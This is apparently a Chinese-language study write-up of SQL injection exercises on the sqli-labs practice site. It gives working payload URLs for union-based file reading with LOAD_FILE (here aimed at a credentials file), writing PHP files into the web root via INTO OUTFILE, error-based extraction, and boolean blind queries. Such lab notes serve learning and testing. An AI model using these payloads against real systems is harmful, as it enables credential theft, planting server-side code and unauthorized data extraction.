一、union注入下的读文件
1、概述
在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
2、使用条件
1)存在union注入
2)知道文件的绝对路径
3)没有单引号与双引号过滤
4)mysql有读文件的权限
3、开启mysql文件读写权限
1)打开mysql.ini文件
2)在最后面加入一行secure_file_priv=
二、load_file()实操
1、目的
获取sqli中的db-creds.inc文件
2、环境准备
win7,phpstudy,sqli-labs,vmware
3、打开sqli第三关(less-3)
从使用union select开始
4、获取mysql的路径
使用@@datadir
获取mysql绝对路径:http://10.1.2.14/sqli/Less-3/?id=-1') union select 1,2,@@datadir --+
5、构造文件路径
1)获取路径
根据phpstudy默认安装的情况,MYSQL与WWW是在同一级目录,又本身可以知道sqli在WWW下,所以db-creds.inc文件的绝对路径:C:\phpStudy\PHPTutorial\WWW\sqli\sql-connections\db-creds.inc
2)修改路径
由于路径需要改成windows能够识别的:C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\sql-connections\\db-creds.inc
6、读取文件
1)输入url:
http://10.1.2.14/sqli/Less-3/?id=-1') union select 1,2,load_file('C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\sql-connections\\db-creds.inc') --+
2)文件为php格式的,所以查看源代码显示
四、into outfile
1、union select后
获取路径的操作和前面的一样
所以直接构造url:
http://10.1.2.14/sqli/Less-1/?id=-1' union select 1,2,'<?php phpinfo();?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\1.php' --+
2、Lines terminated by
(1)用法:
into outfile ‘文件路径’ lines terminated by ‘写入的内容’
(2)使用Less-5演示,构造url:
http://10.1.2.14/sqli/Less-5/?id=1' into outfile 'C:\\Phpstudy\\PHPTutorial\\WWW\\2.php' lines terminated by '<?php phpinfo() ?>'--+
3、Lines starting by
用法同上
构造url:
http://10.1.2.14/sqli/Less-5/?id=1' into outfile 'C:\\Phpstudy\\PHPTutorial\\WWW\\3.php' Lines starting by '<?php phpinfo() ?>'--+
4、fields terminated by
用法也是一样
构造url:
http://10.1.2.14/sqli/Less-5/?id=1' into outfile 'C:\\Phpstudy\\PHPTutorial\\WWW\\4.php' Fields terminated by '<?php phpinfo() ?>'--+
5、Columns terminated by
用法还是一样
构造url:
http://10.1.2.14/sqli/Less-5/?id=1' into outfile 'C:\\Phpstudy\\PHPTutorial\\WWW\\5.php' Columns terminated by '<?php phpinfo() ?>'--+
五、报错注入
1、概述
构造报错payload让信息通过报错信息回显出来。在查询不回现内容,会答应错误信息。Update、insert等语句,会打印错误信息。
2、常用函数
floor()
、extractvalue()
、updatexml()
3、floor()
1)语句构造
select count(*),concat((select user()),floor(rand(0)*2))x from mysql.user group by x
2)报错原因还是有点不理解就没写
4、extractvalue()
1)extractvalue()
:对XML文档进行查询的函数
2)语法:extractvalue(XML_document,XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
3)报错原因:在第二个参数中输入不为路径的值就会报错执行第二个参中的语句。
4)测试语句
select extractvalue(1,concat('`',(select user())))
5、updatexml()
1)语法updatexml(xml_target,xpath_expr,new_xml)
xml_target: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
2)报错原因:同理在xpath中(第二个参数)输入不为路径的语句,就会执行这个语句
3)测试语句
select updatexml(1,concat('`',(select user())),1)
六、布尔盲注
1、概述
可以进行SQL注入,但是不能通过SQL注入漏洞看到数据库中的信息,但是可以通过真假判断数据库中的信息。
2、常用函数
ascii()、ord()、subst()、subtring、mid()、left()、length()、count()
七、布尔盲注常用语句
1、测试出当前数据库长度
http://10.1.2.14/sqli/Less-8/?id=1' and length(database())>num --+
改变num进行测试,错误显示时的数字就是数据库的长度
2、判断当前数据库名
http://10.1.2.14/sqli/Less-8/?id=1' and ascii(substr(database(),{0},1))>{1} --+
{0}从1开始递增测试
{1}替换成各个字符的ascii码
3、判断当前数据库中表的个数
这个可以不知道当前的数据库名
http://10.1.2.14/sqli/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema = database())> {0} --+
{0}替换成字符的ascii码
4、其余情况
还有还多情况打算写一篇文章来,用脚本来边写边分析